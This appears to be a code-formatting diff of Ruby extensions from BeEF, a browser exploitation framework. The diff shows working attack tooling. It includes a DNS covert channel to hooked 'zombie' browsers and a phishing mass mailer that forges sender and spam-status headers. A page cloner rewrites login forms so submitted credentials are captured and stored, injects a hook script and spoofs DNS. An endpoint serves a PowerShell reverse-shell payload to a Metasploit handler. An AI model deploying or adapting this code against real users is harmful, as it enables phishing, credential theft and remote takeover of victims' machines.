if (format_resource(resource) != 'A') || !name.match(/#{@zone}$/)
|
||||
transaction.fail!(:Refused, @zone)
|
||||
return
|
||||
end
|
||||
|
||||
@@ -78,31 +75,32 @@ module BeEF
|
||||
cid = name.split('.')[2].split('-')[2].to_i
|
||||
bit = name.split('.')[2].split('-')[3].to_i(16)
|
||||
|
||||
if @messages[cid] != nil
|
||||
message = @messages[cid]
|
||||
else
|
||||
transaction.fail!(:NXDomain,@zone)
|
||||
if @messages[cid].nil?
|
||||
transaction.fail!(:NXDomain, @zone)
|
||||
return
|
||||
else
|
||||
message = @messages[cid]
|
||||
end
|
||||
|
||||
if message.length <= bit
|
||||
transaction.fail!(:NXDomain,@zone)
|
||||
transaction.fail!(:NXDomain, @zone)
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
# If the bit is equal to 1 we should return one of the BeEF's IP addresses
|
||||
if message[bit] == '1'
|
||||
case message[bit]
|
||||
when '1'
|
||||
transaction.respond!(@selfip)
|
||||
return
|
||||
# If the bit is equal to 0 we should return NXDomain message
|
||||
elsif message[bit] == '0'
|
||||
transaction.fail!(:NXDomain,@zone)
|
||||
# If the bit is equal to 0 we should return NXDomain message
|
||||
when '0'
|
||||
transaction.fail!(:NXDomain, @zone)
|
||||
return
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
private
|
||||
private
|
||||
|
||||
# Helper method that formats the given resource class in a human-readable format.
|
||||
#
|
||||
@@ -111,7 +109,6 @@ module BeEF
|
||||
def format_resource(resource)
|
||||
/::(\w+)$/.match(resource.name)[1]
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -6,13 +6,11 @@
|
||||
module BeEF
|
||||
module Extension
|
||||
module ServerClientDnsTunnel
|
||||
|
||||
extend BeEF::API::Extension
|
||||
@short_name = 'S2C DNS Tunnel'
|
||||
@full_name = 'Server-to-Client DNS Tunnel'
|
||||
@description = 'This extension provides a custom BeEF\'s DNS server and HTTP server ' +
|
||||
@description = 'This extension provides a custom BeEF DNS server and HTTP server ' \
|
||||
'that implement unidirectional covert timing channel from BeEF communication server to zombie browser.'
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,22 +1,19 @@
|
||||
module BeEF
|
||||
module Extension
|
||||
module ServerClientDnsTunnel
|
||||
|
||||
class Httpd < Sinatra::Base
|
||||
|
||||
def initialize(domain)
|
||||
super()
|
||||
@domain = domain
|
||||
end
|
||||
|
||||
get "/map" do
|
||||
get '/map' do
|
||||
if request.host.match("^_ldap\._tcp\.[0-9a-z\-]+\.domains\._msdcs\.#{@domain}$")
|
||||
path = File.dirname(__FILE__)
|
||||
send_file File.join(path, 'pixel.jpg')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -5,13 +5,12 @@
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
|
||||
module RegisterSEngHandler
|
||||
def self.mount_handler(server)
|
||||
server.mount('/api/seng', BeEF::Extension::SocialEngineering::SEngRest.new)
|
||||
|
||||
ps_url = BeEF::Core::Configuration.instance.get('beef.extension.social_engineering.powershell.powershell_handler_url')
|
||||
server.mount("#{ps_url}", BeEF::Extension::SocialEngineering::Bind_powershell.new)
|
||||
server.mount(ps_url.to_s, BeEF::Extension::SocialEngineering::Bind_powershell.new)
|
||||
end
|
||||
end
|
||||
|
||||
@@ -36,15 +35,7 @@ require 'extensions/social_engineering/powershell/bind_powershell'
|
||||
# Models
|
||||
require 'extensions/social_engineering/models/web_cloner'
|
||||
require 'extensions/social_engineering/models/interceptor'
|
||||
#require 'extensions/social_engineering/models/mass_mailer'
|
||||
# require 'extensions/social_engineering/models/mass_mailer'
|
||||
|
||||
# RESTful api endpoints
|
||||
require 'extensions/social_engineering/rest/socialengineering'
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -13,8 +13,8 @@ module BeEF
|
||||
|
||||
def initialize
|
||||
@config = BeEF::Core::Configuration.instance
|
||||
@config_prefix = "beef.extension.social_engineering.mass_mailer"
|
||||
@templates_dir = "#{File.expand_path('../../../../extensions/social_engineering/mass_mailer/templates', __FILE__)}/"
|
||||
@config_prefix = 'beef.extension.social_engineering.mass_mailer'
|
||||
@templates_dir = "#{File.expand_path('../../../extensions/social_engineering/mass_mailer/templates', __dir__)}/"
|
||||
|
||||
@user_agent = @config.get("#{@config_prefix}.user_agent")
|
||||
@host = @config.get("#{@config_prefix}.host")
|
||||
@@ -31,10 +31,10 @@ module BeEF
|
||||
# create new SSL context and disable CA chain validation
|
||||
if @config.get("#{@config_prefix}.use_tls")
|
||||
@ctx = OpenSSL::SSL::SSLContext.new
|
||||
if not @config.get("#{@config_prefix}.verify_ssl")
|
||||
unless @config.get("#{@config_prefix}.verify_ssl")
|
||||
@ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE # In case the SMTP server uses a self-signed cert, we proceed anyway
|
||||
end
|
||||
@ctx.ssl_version = "TLSv1"
|
||||
@ctx.ssl_version = 'TLSv1'
|
||||
end
|
||||
|
||||
n = tos_hash.size
|
||||
@@ -75,27 +75,26 @@ module BeEF
|
||||
boundary = "------------#{random_string(24)}"
|
||||
rel_boundary = "------------#{random_string(24)}"
|
||||
|
||||
|
||||
header = email_headers(fromaddr, fromname, @user_agent, to, subject, msg_id, boundary)
|
||||
plain_body = email_plain_body(parse_template(name, link, linktext, "#{@templates_dir}#{template}/mail.plain", template), boundary)
|
||||
rel_header = email_related(rel_boundary)
|
||||
html_body = email_html_body(parse_template(name, link, linktext, "#{@templates_dir}#{template}/mail.html", template),rel_boundary)
|
||||
html_body = email_html_body(parse_template(name, link, linktext, "#{@templates_dir}#{template}/mail.html", template), rel_boundary)
|
||||
|
||||
images = ""
|
||||
images = ''
|
||||
@config.get("#{@config_prefix}.templates.#{template}.images").each do |image|
|
||||
images += email_add_image(image, "#{@templates_dir}#{template}/#{image}",rel_boundary)
|
||||
images += email_add_image(image, "#{@templates_dir}#{template}/#{image}", rel_boundary)
|
||||
end
|
||||
|
||||
attachments = ""
|
||||
if @config.get("#{@config_prefix}.templates.#{template}.attachments") != nil
|
||||
attachments = ''
|
||||
unless @config.get("#{@config_prefix}.templates.#{template}.attachments").nil?
|
||||
@config.get("#{@config_prefix}.templates.#{template}.attachments").each do |attachment|
|
||||
attachments += email_add_attachment(attachment, "#{@templates_dir}#{template}/#{attachment}",rel_boundary)
|
||||
attachments += email_add_attachment(attachment, "#{@templates_dir}#{template}/#{attachment}", rel_boundary)
|
||||
end
|
||||
end
|
||||
|
||||
close = email_close(boundary)
|
||||
rescue => e
|
||||
print_error "Error constructing email."
|
||||
rescue StandardError => e
|
||||
print_error 'Error constructing email.'
|
||||
raise
|
||||
end
|
||||
|
||||
@@ -105,143 +104,135 @@ module BeEF
|
||||
end
|
||||
|
||||
def email_headers(from, fromname, user_agent, to, subject, msg_id, boundary)
|
||||
headers = <<EOF
|
||||
From: "#{fromname}" <#{from}>
|
||||
Reply-To: "#{fromname}" <#{from}>
|
||||
Return-Path: "#{fromname}" <#{from}>
|
||||
X-Mailer: #{user_agent}
|
||||
To: #{to}
|
||||
Message-ID: <#{msg_id}@#{@host}>
|
||||
X-Spam-Status: No, score=0.001 required=5
|
||||
Subject: #{subject}
|
||||
MIME-Version: 1.0
|
||||
Content-Type: multipart/alternative;
|
||||
boundary=#{boundary}
|
||||
<<~EOF
|
||||
From: "#{fromname}" <#{from}>
|
||||
Reply-To: "#{fromname}" <#{from}>
|
||||
Return-Path: "#{fromname}" <#{from}>
|
||||
X-Mailer: #{user_agent}
|
||||
To: #{to}
|
||||
Message-ID: <#{msg_id}@#{@host}>
|
||||
X-Spam-Status: No, score=0.001 required=5
|
||||
Subject: #{subject}
|
||||
MIME-Version: 1.0
|
||||
Content-Type: multipart/alternative;
|
||||
boundary=#{boundary}
|
||||
|
||||
This is a multi-part message in MIME format.
|
||||
--#{boundary}
|
||||
EOF
|
||||
headers
|
||||
This is a multi-part message in MIME format.
|
||||
--#{boundary}
|
||||
EOF
|
||||
end
|
||||
|
||||
def email_plain_body(plain_text, boundary)
|
||||
plain_body = <<EOF
|
||||
Content-Type: text/plain; charset="utf8"
|
||||
Content-Transfer-Encoding:8bit
|
||||
<<~EOF
|
||||
Content-Type: text/plain; charset="utf8"
|
||||
Content-Transfer-Encoding:8bit
|
||||
|
||||
#{plain_text}
|
||||
#{plain_text}
|
||||
|
||||
--#{boundary}
|
||||
EOF
|
||||
plain_body
|
||||
--#{boundary}
|
||||
EOF
|
||||
end
|
||||
|
||||
def email_related(rel_boundary)
|
||||
related = <<EOF
|
||||
Content-Type: multipart/related;
|
||||
boundary="#{rel_boundary}"
|
||||
<<~EOF
|
||||
Content-Type: multipart/related;
|
||||
boundary="#{rel_boundary}"
|
||||
|
||||
|
||||
--#{rel_boundary}
|
||||
EOF
|
||||
related
|
||||
--#{rel_boundary}
|
||||
EOF
|
||||
end
|
||||
|
||||
def email_html_body(html_body, rel_boundary)
|
||||
html_body = <<EOF
|
||||
Content-Type: text/html; charset=ISO-8859-1
|
||||
Content-Transfer-Encoding: 7bit
|
||||
<<~EOF
|
||||
Content-Type: text/html; charset=ISO-8859-1
|
||||
Content-Transfer-Encoding: 7bit
|
||||
|
||||
#{html_body}
|
||||
--#{rel_boundary}
|
||||
EOF
|
||||
html_body
|
||||
#{html_body}
|
||||
--#{rel_boundary}
|
||||
EOF
|
||||
end
|
||||
|
||||
def email_add_image(name, path, rel_boundary)
|
||||
file_encoded = [File.read(path)].pack("m") # base64 encoded
|
||||
image = <<EOF
|
||||
Content-Type: #{get_mime(path)};
|
||||
name="#{name}"
|
||||
Content-Transfer-Encoding: base64
|
||||
Content-ID: <#{name}>
|
||||
Content-Disposition: inline;
|
||||
filename="#{name}"
|
||||
file_encoded = [File.read(path)].pack('m') # base64 encoded
|
||||
<<~EOF
|
||||
Content-Type: #{get_mime(path)};
|
||||
name="#{name}"
|
||||
Content-Transfer-Encoding: base64
|
||||
Content-ID: <#{name}>
|
||||
Content-Disposition: inline;
|
||||
filename="#{name}"
|
||||
|
||||
#{file_encoded}
|
||||
--#{rel_boundary}
|
||||
EOF
|
||||
image
|
||||
#{file_encoded}
|
||||
--#{rel_boundary}
|
||||
EOF
|
||||
end
|
||||
|
||||
def email_add_attachment(name, path, rel_boundary)
|
||||
file_encoded = [File.read(path)].pack("m") # base64 encoded
|
||||
image = <<EOF
|
||||
Content-Type: #{get_mime(path)};
|
||||
name="#{name}"
|
||||
Content-Transfer-Encoding: base64
|
||||
Content-Disposition: attachment;
|
||||
filename="#{name}"
|
||||
file_encoded = [File.read(path)].pack('m') # base64 encoded
|
||||
<<~EOF
|
||||
Content-Type: #{get_mime(path)};
|
||||
name="#{name}"
|
||||
Content-Transfer-Encoding: base64
|
||||
Content-Disposition: attachment;
|
||||
filename="#{name}"
|
||||
|
||||
#{file_encoded}
|
||||
--#{rel_boundary}
|
||||
EOF
|
||||
image
|
||||
#{file_encoded}
|
||||
--#{rel_boundary}
|
||||
EOF
|
||||
end
|
||||
|
||||
def email_close(boundary)
|
||||
close = <<EOF
|
||||
--#{boundary}--
|
||||
EOF
|
||||
close
|
||||
<<~EOF
|
||||
--#{boundary}--
|
||||
EOF
|
||||
end
|
||||
|
||||
# Replaces placeholder values from the plain/html email templates
|
||||
def parse_template(name, link, linktext, template_path, template)
|
||||
result = ""
|
||||
result = ''
|
||||
img_config = "#{@config_prefix}.templates.#{template}.images_cids"
|
||||
img_count = 0
|
||||
File.open(template_path, 'r').each do |line|
|
||||
# change the Recipient name
|
||||
if line.include?("__name__")
|
||||
result += line.gsub("__name__",name)
|
||||
# change the link/linktext
|
||||
elsif line.include?("__link__")
|
||||
if line.include?("__linktext__")
|
||||
result += line.gsub("__link__",link).gsub("__linktext__",linktext)
|
||||
else
|
||||
result += line.gsub("__link__",link)
|
||||
end
|
||||
# change images cid/name/alt
|
||||
elsif line.include?("src=\"cid:__")
|
||||
img_count += 1
|
||||
if line.include?("name=\"img__") || line.include?("alt=\"__img")
|
||||
result += line.gsub("__cid#{img_count}__",
|
||||
@config.get("#{img_config}.cid#{img_count}")).gsub("__img#{img_count}__",
|
||||
@config.get("#{img_config}.cid#{img_count}"))
|
||||
else
|
||||
result += line.gsub("__cid#{img_count}__",@config.get("#{img_config}.cid#{img_count}"))
|
||||
end
|
||||
else
|
||||
result += line
|
||||
end
|
||||
# change the Recipient name
|
||||
if line.include?('__name__')
|
||||
result += line.gsub('__name__', name)
|
||||
# change the link/linktext
|
||||
elsif line.include?('__link__')
|
||||
result += if line.include?('__linktext__')
|
||||
line.gsub('__link__', link).gsub('__linktext__', linktext)
|
||||
else
|
||||
line.gsub('__link__', link)
|
||||
end
|
||||
# change images cid/name/alt
|
||||
elsif line.include?('src="cid:__')
|
||||
img_count += 1
|
||||
result += if line.include?('name="img__') || line.include?('alt="__img')
|
||||
line.gsub("__cid#{img_count}__",
|
||||
@config.get("#{img_config}.cid#{img_count}")).gsub("__img#{img_count}__",
|
||||
@config.get("#{img_config}.cid#{img_count}"))
|
||||
else
|
||||
line.gsub("__cid#{img_count}__", @config.get("#{img_config}.cid#{img_count}"))
|
||||
end
|
||||
else
|
||||
result += line
|
||||
end
|
||||
end
|
||||
result
|
||||
end
|
||||
|
||||
def get_mime(file_path)
|
||||
result = ""
|
||||
IO.popen(["file", "--mime","-b", "#{file_path}"], 'r+') do |io|
|
||||
result = io.readlines.first.split(";").first
|
||||
result = ''
|
||||
IO.popen(['file', '--mime', '-b', file_path.to_s], 'r+') do |io|
|
||||
result = io.readlines.first.split(';').first
|
||||
end
|
||||
result
|
||||
end
|
||||
|
||||
def random_string(length)
|
||||
output = (0..length).map{ rand(36).to_s(36).upcase }.join
|
||||
output = (0..length).map { rand(36).to_s(36).upcase }.join
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -7,11 +7,8 @@ module BeEF
|
||||
module Core
|
||||
module Models
|
||||
class Interceptor < BeEF::Core::Model
|
||||
|
||||
belongs_to :webcloner
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -6,11 +6,8 @@
|
||||
module BeEF
|
||||
module Core
|
||||
module Models
|
||||
|
||||
class Massmailer < BeEF::Core::Model
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -7,11 +7,8 @@ module BeEF
|
||||
module Core
|
||||
module Models
|
||||
class WebCloner < BeEF::Core::Model
|
||||
|
||||
has_many :interceptors
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -6,7 +6,6 @@
|
||||
module BeEF
|
||||
module Extension
|
||||
module SocialEngineering
|
||||
|
||||
#
|
||||
# NOTE: the powershell_payload is work/copyright from @mattifestation (kudos for that)
|
||||
# NOTE: the visual-basic macro code inside the Microsoft Office Word/Excel documents is work/copyright from @enigma0x3 (kudos for that)
|
||||
@@ -27,7 +26,7 @@ module BeEF
|
||||
|
||||
# serves the HTML Application (HTA)
|
||||
get '/hta' do
|
||||
response['Content-Type'] = "application/hta"
|
||||
response['Content-Type'] = 'application/hta'
|
||||
@config = BeEF::Core::Configuration.instance
|
||||
beef_url_str = @config.beef_url_str
|
||||
ps_url = @config.get('beef.extension.social_engineering.powershell.powershell_handler_url')
|
||||
@@ -43,7 +42,7 @@ module BeEF
|
||||
# serves the powershell payload after modifying LHOST/LPORT
|
||||
# The payload gets served via HTTP by default. Serving it via HTTPS it's still a TODO
|
||||
get '/ps.png' do
|
||||
response['Content-Type'] = "text/plain"
|
||||
response['Content-Type'] = 'text/plain'
|
||||
|
||||
@ps_lhost = BeEF::Core::Configuration.instance.get('beef.extension.social_engineering.powershell.msf_reverse_handler_host')
|
||||
@ps_port = BeEF::Core::Configuration.instance.get('beef.extension.social_engineering.powershell.msf_reverse_handler_port')
|
||||
@@ -51,9 +50,7 @@ module BeEF
|
||||
ps_payload_path = "#{$root_dir}/extensions/social_engineering/powershell/powershell_payload"
|
||||
|
||||
ps_payload = ''
|
||||
if File.exist?(ps_payload_path)
|
||||
ps_payload = File.read(ps_payload_path).gsub("___LHOST___", @ps_lhost).gsub("___LPORT___", @ps_port)
|
||||
end
|
||||
ps_payload = File.read(ps_payload_path).gsub('___LHOST___', @ps_lhost).gsub('___LPORT___', @ps_port) if File.exist?(ps_payload_path)
|
||||
ps_payload
|
||||
end
|
||||
end
|
||||
|
||||
@@ -8,12 +8,11 @@ module BeEF
|
||||
module Extension
|
||||
module SocialEngineering
|
||||
class SEngRest < BeEF::Core::Router::Router
|
||||
|
||||
config = BeEF::Core::Configuration.instance
|
||||
|
||||
before do
|
||||
error 401 unless params[:token] == config.get('beef.api_token')
|
||||
halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip)
|
||||
halt 401 unless BeEF::Core::Rest.permitted_source?(request.ip)
|
||||
headers 'Content-Type' => 'application/json; charset=UTF-8',
|
||||
'Pragma' => 'no-cache',
|
||||
'Cache-Control' => 'no-cache',
|
||||
@@ -33,19 +32,19 @@ module BeEF
|
||||
request.body.rewind
|
||||
begin
|
||||
body = JSON.parse request.body.read
|
||||
uri = body["url"]
|
||||
mount = body["mount"]
|
||||
use_existing = body["use_existing"]
|
||||
dns_spoof = body["dns_spoof"]
|
||||
uri = body['url']
|
||||
mount = body['mount']
|
||||
use_existing = body['use_existing']
|
||||
dns_spoof = body['dns_spoof']
|
||||
|
||||
if uri != nil && mount != nil
|
||||
if (uri =~ URI::regexp).nil? #invalid URI
|
||||
print_error "Invalid URI"
|
||||
if !uri.nil? && !mount.nil?
|
||||
if (uri =~ URI::DEFAULT_PARSER.make_regexp).nil? # invalid URI
|
||||
print_error 'Invalid URI'
|
||||
halt 401
|
||||
end
|
||||
|
||||
if !mount[/^\//] # mount needs to start with /
|
||||
print_error "Invalid mount (need to be a relative path, and start with / )"
|
||||
unless mount[%r{^/}] # mount needs to start with /
|
||||
print_error 'Invalid mount (need to be a relative path, and start with / )'
|
||||
halt 401
|
||||
end
|
||||
|
||||
@@ -54,19 +53,18 @@ module BeEF
|
||||
|
||||
if success
|
||||
result = {
|
||||
"success" => true,
|
||||
"mount" => mount
|
||||
'success' => true,
|
||||
'mount' => mount
|
||||
}.to_json
|
||||
else
|
||||
result = {
|
||||
"success" => false
|
||||
'success' => false
|
||||
}.to_json
|
||||
halt 500
|
||||
end
|
||||
end
|
||||
|
||||
rescue => e
|
||||
print_error "Invalid JSON input passed to endpoint /api/seng/clone_page"
|
||||
rescue StandardError
|
||||
print_error 'Invalid JSON input passed to endpoint /api/seng/clone_page'
|
||||
error 400 # Bad Request
|
||||
end
|
||||
end
|
||||
@@ -74,7 +72,7 @@ module BeEF
|
||||
# Example: curl -H "Content-Type: application/json; charset=UTF-8" -d 'json_body'
|
||||
#-X POST http://127.0.0.1:3000/api/seng/send_mails?token=68f76c383709414f647eb4ba8448370453dd68b7
|
||||
# Example json_body:
|
||||
#{
|
||||
# {
|
||||
# "template": "default",
|
||||
# "subject": "Hi from BeEF",
|
||||
# "fromname": "BeEF",
|
||||
@@ -84,31 +82,31 @@ module BeEF
|
||||
# "recipients": [{
|
||||
# "user1@gmail.com": "Michele",
|
||||
# "user2@antisnatchor.com": "Antisnatchor"
|
||||
#}]
|
||||
#}
|
||||
# }]
|
||||
# }
|
||||
post '/send_mails' do
|
||||
request.body.rewind
|
||||
begin
|
||||
body = JSON.parse request.body.read
|
||||
|
||||
template = body["template"]
|
||||
subject = body["subject"]
|
||||
fromname = body["fromname"]
|
||||
fromaddr = body["fromaddr"]
|
||||
link = body["link"]
|
||||
linktext = body["linktext"]
|
||||
template = body['template']
|
||||
subject = body['subject']
|
||||
fromname = body['fromname']
|
||||
fromaddr = body['fromaddr']
|
||||
link = body['link']
|
||||
linktext = body['linktext']
|
||||
|
||||
if template.nil? || subject.nil? || fromaddr.nil? || fromname.nil? || link.nil? || linktext.nil?
|
||||
print_error "All parameters are mandatory."
|
||||
print_error 'All parameters are mandatory.'
|
||||
halt 401
|
||||
end
|
||||
|
||||
if (link =~ URI::regexp).nil? #invalid URI
|
||||
print_error "Invalid link or linktext"
|
||||
if (link =~ URI::DEFAULT_PARSER.make_regexp).nil? # invalid URI
|
||||
print_error 'Invalid link or linktext'
|
||||
halt 401
|
||||
end
|
||||
|
||||
recipients = body["recipients"][0]
|
||||
recipients = body['recipients'][0]
|
||||
|
||||
recipients.each do |email, name|
|
||||
if !/\b[A-Z0-9._%a-z\-]+@(?:[A-Z0-9a-z\-]+\.)+[A-Za-z]{2,4}\z/.match(email) || name.nil?
|
||||
@@ -116,20 +114,19 @@ module BeEF
|
||||
halt 401
|
||||
end
|
||||
end
|
||||
rescue => e
|
||||
print_error "Invalid JSON input passed to endpoint /api/seng/send_emails"
|
||||
rescue StandardError
|
||||
print_error 'Invalid JSON input passed to endpoint /api/seng/send_emails'
|
||||
error 400
|
||||
end
|
||||
|
||||
begin
|
||||
mass_mailer = BeEF::Extension::SocialEngineering::MassMailer.instance
|
||||
mass_mailer.send_email(template, fromname, fromaddr, subject, link, linktext, recipients)
|
||||
rescue => e
|
||||
print_error "Invalid mailer configuration"
|
||||
rescue StandardError => e
|
||||
print_error "Mailer send_email failed: #{e.message}"
|
||||
error 400
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -8,44 +8,42 @@ module BeEF
|
||||
module SocialEngineering
|
||||
require 'sinatra/base'
|
||||
class Interceptor < Sinatra::Base
|
||||
|
||||
configure do
|
||||
configure do
|
||||
set :show_exceptions, false
|
||||
end
|
||||
|
||||
# intercept GET
|
||||
get "/" do
|
||||
print_info "GET request from IP #{request.ip}"
|
||||
print_info "Referer: #{request.referer}"
|
||||
cloned_page = settings.cloned_page
|
||||
cloned_page
|
||||
end
|
||||
|
||||
# intercept POST
|
||||
post "/" do
|
||||
print_info "POST request from IP #{request.ip}"
|
||||
request.body.rewind
|
||||
data = request.body.read
|
||||
print_info "Intercepted data:"
|
||||
print_info data
|
||||
|
||||
interceptor_db = BeEF::Core::Models::Interceptor.new(
|
||||
:webcloner_id => settings.db_entry.id,
|
||||
:post_data => data,
|
||||
:ip => request.ip
|
||||
)
|
||||
interceptor_db.save
|
||||
|
||||
if settings.frameable
|
||||
print_info "Page can be framed :-) Loading original URL into iFrame..."
|
||||
"<html><head><script type=\"text/javascript\" src=\"#{settings.beef_hook}\"></script>\n</head></head><body><iframe src=\"#{settings.redirect_to}\" style=\"border:none; background-color:white; width:100%; height:100%; position:absolute; top:0px; left:0px; padding:0px; margin:0px\"></iframe></body></html>"
|
||||
else
|
||||
print_info "Page can not be framed :-) Redirecting to original URL..."
|
||||
redirect settings.redirect_to
|
||||
end
|
||||
end
|
||||
|
||||
# intercept GET
|
||||
get '/' do
|
||||
print_info "GET request from IP #{request.ip}"
|
||||
print_info "Referer: #{request.referer}"
|
||||
cloned_page = settings.cloned_page
|
||||
cloned_page
|
||||
end
|
||||
|
||||
# intercept POST
|
||||
post '/' do
|
||||
print_info "POST request from IP #{request.ip}"
|
||||
request.body.rewind
|
||||
data = request.body.read
|
||||
print_info 'Intercepted data:'
|
||||
print_info data
|
||||
|
||||
interceptor_db = BeEF::Core::Models::Interceptor.new(
|
||||
webcloner_id: settings.db_entry.id,
|
||||
post_data: data,
|
||||
ip: request.ip
|
||||
)
|
||||
interceptor_db.save
|
||||
|
||||
if settings.frameable
|
||||
print_info 'Page can be framed :-) Loading original URL into iFrame...'
|
||||
"<html><head><script type=\"text/javascript\" src=\"#{settings.beef_hook}\"></script>\n</head></head><body><iframe src=\"#{settings.redirect_to}\" style=\"border:none; background-color:white; width:100%; height:100%; position:absolute; top:0px; left:0px; padding:0px; margin:0px\"></iframe></body></html>"
|
||||
else
|
||||
print_info 'Page can not be framed :-) Redirecting to original URL...'
|
||||
redirect settings.redirect_to
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -13,8 +13,8 @@ module BeEF
|
||||
def initialize
|
||||
@http_server = BeEF::Core::Server.instance
|
||||
@config = BeEF::Core::Configuration.instance
|
||||
@cloned_pages_dir = "#{File.expand_path('../../../../extensions/social_engineering/web_cloner', __FILE__)}/cloned_pages/"
|
||||
@beef_hook = "#{@config.hook_url}"
|
||||
@cloned_pages_dir = "#{File.expand_path('../../../extensions/social_engineering/web_cloner', __dir__)}/cloned_pages/"
|
||||
@beef_hook = @config.hook_url.to_s
|
||||
end
|
||||
|
||||
def clone_page(url, mount, use_existing, dns_spoof)
|
||||
@@ -35,33 +35,31 @@ module BeEF
|
||||
# 2nd request. {"uri":"http://example.com", "mount":"/", "use_existing":"true"} <- serve the example.com_mod file
|
||||
#
|
||||
if use_existing.nil? || use_existing == false
|
||||
begin #,"--background"
|
||||
cmd = ["wget", "#{url}", "-c", "-k", "-O", "#{@cloned_pages_dir + output}", "-U", "#{user_agent}", '--read-timeout', '60', '--tries', '3']
|
||||
if not @config.get('beef.extension.social_engineering.web_cloner.verify_ssl')
|
||||
cmd << "--no-check-certificate"
|
||||
end
|
||||
begin
|
||||
cmd = ['wget', url.to_s, '-c', '-k', '-O', (@cloned_pages_dir + output).to_s, '-U', user_agent.to_s, '--read-timeout', '60', '--tries', '3']
|
||||
cmd << '--no-check-certificate' unless @config.get('beef.extension.social_engineering.web_cloner.verify_ssl')
|
||||
print_debug "Running command: #{cmd.join(' ')}"
|
||||
IO.popen(cmd, 'r+') do |wget_io|
|
||||
end
|
||||
success = true
|
||||
rescue Errno::ENOENT => e
|
||||
rescue Errno::ENOENT
|
||||
print_error "Looks like wget is not in your PATH. If 'which wget' returns null, it means you don't have 'wget' in your PATH."
|
||||
rescue => e
|
||||
rescue StandardError => e
|
||||
print_error "Errors executing wget: #{e}"
|
||||
end
|
||||
|
||||
if success
|
||||
File.open("#{@cloned_pages_dir + output_mod}", 'w') do |out_file|
|
||||
File.open("#{@cloned_pages_dir + output}", 'r').each do |line|
|
||||
File.open((@cloned_pages_dir + output_mod).to_s, 'w') do |out_file|
|
||||
File.open((@cloned_pages_dir + output).to_s, 'r').each do |line|
|
||||
# Modify the <form> line changing the action URI to / in order to be properly intercepted by BeEF
|
||||
if line.include?("<form ") || line.include?("<FORM ")
|
||||
line_attrs = line.split(" ")
|
||||
if line.include?('<form ') || line.include?('<FORM ')
|
||||
line_attrs = line.split(' ')
|
||||
c = 0
|
||||
cc = 0
|
||||
#todo: probably doable also with map!
|
||||
# TODO: probably doable also with map!
|
||||
# modify the form 'action' attribute
|
||||
line_attrs.each do |attr|
|
||||
if attr.include? "action=\""
|
||||
if attr.include? 'action="'
|
||||
print_info "Form action found: #{attr}"
|
||||
break
|
||||
end
|
||||
@@ -69,24 +67,24 @@ module BeEF
|
||||
end
|
||||
line_attrs[c] = "action=\"#{mount}\""
|
||||
|
||||
#todo: to be tested, needed in case like yahoo
|
||||
# TODO: to be tested, needed in case like yahoo
|
||||
# delete the form 'onsubmit' attribute
|
||||
#line_attrs.each do |attr|
|
||||
# line_attrs.each do |attr|
|
||||
# if attr.include? "onsubmit="
|
||||
# print_info "Form onsubmit event found: #{attr}"
|
||||
# break
|
||||
# end
|
||||
# cc += 1
|
||||
#end
|
||||
#line_attrs[cc] = ""
|
||||
# end
|
||||
# line_attrs[cc] = ""
|
||||
|
||||
mod_form = line_attrs.join(" ")
|
||||
print_info "Form action value changed in order to be intercepted :-D"
|
||||
mod_form = line_attrs.join(' ')
|
||||
print_info 'Form action value changed in order to be intercepted :-D'
|
||||
out_file.print mod_form
|
||||
# Add the BeEF hook
|
||||
elsif (line.include?("</head>") || line.include?("</HEAD>")) && @config.get('beef.extension.social_engineering.web_cloner.add_beef_hook')
|
||||
elsif (line.include?('</head>') || line.include?('</HEAD>')) && @config.get('beef.extension.social_engineering.web_cloner.add_beef_hook')
|
||||
out_file.print add_beef_hook(line)
|
||||
print_info "BeEF hook added :-D"
|
||||
print_info 'BeEF hook added :-D'
|
||||
else
|
||||
out_file.print line
|
||||
end
|
||||
@@ -95,104 +93,103 @@ module BeEF
|
||||
end
|
||||
end
|
||||
|
||||
if File.size("#{@cloned_pages_dir + output}") > 0
|
||||
print_info "Page at URL [#{url}] has been cloned. Modified HTML in [cloned_paged/#{output_mod}]"
|
||||
|
||||
file_path = @cloned_pages_dir + output_mod # the path to the cloned_pages directory where we have the HTML to serve
|
||||
|
||||
# if the user wants to clone http://a.com/login.jsp?cas=true&ciccio=false , split the URL mounting only the path.
|
||||
# then the phishing link can be used anyway with all the proper parameters to looks legit.
|
||||
if mount.include?("?")
|
||||
mount = mount.split("?").first
|
||||
print_info "Normalizing mount point. You can still use params for the phishing link."
|
||||
end
|
||||
|
||||
# Check if the original URL can be framed
|
||||
frameable = is_frameable(url)
|
||||
|
||||
interceptor = BeEF::Extension::SocialEngineering::Interceptor
|
||||
interceptor.set :redirect_to, url
|
||||
interceptor.set :frameable, frameable
|
||||
interceptor.set :beef_hook, @beef_hook
|
||||
interceptor.set :cloned_page, get_page_content(file_path)
|
||||
interceptor.set :db_entry, persist_page(url, mount)
|
||||
|
||||
# Add a DNS record spoofing the address of the cloned webpage as the BeEF server
|
||||
if dns_spoof
|
||||
dns = BeEF::Extension::Dns::Server.instance
|
||||
ipv4 = Socket.ip_address_list.detect { |ai| ai.ipv4? && !ai.ipv4_loopback? }.ip_address
|
||||
ipv6 = Socket.ip_address_list.detect { |ai| ai.ipv6? && !ai.ipv6_loopback? }.ip_address
|
||||
ipv6.gsub!(/%\w*$/, '')
|
||||
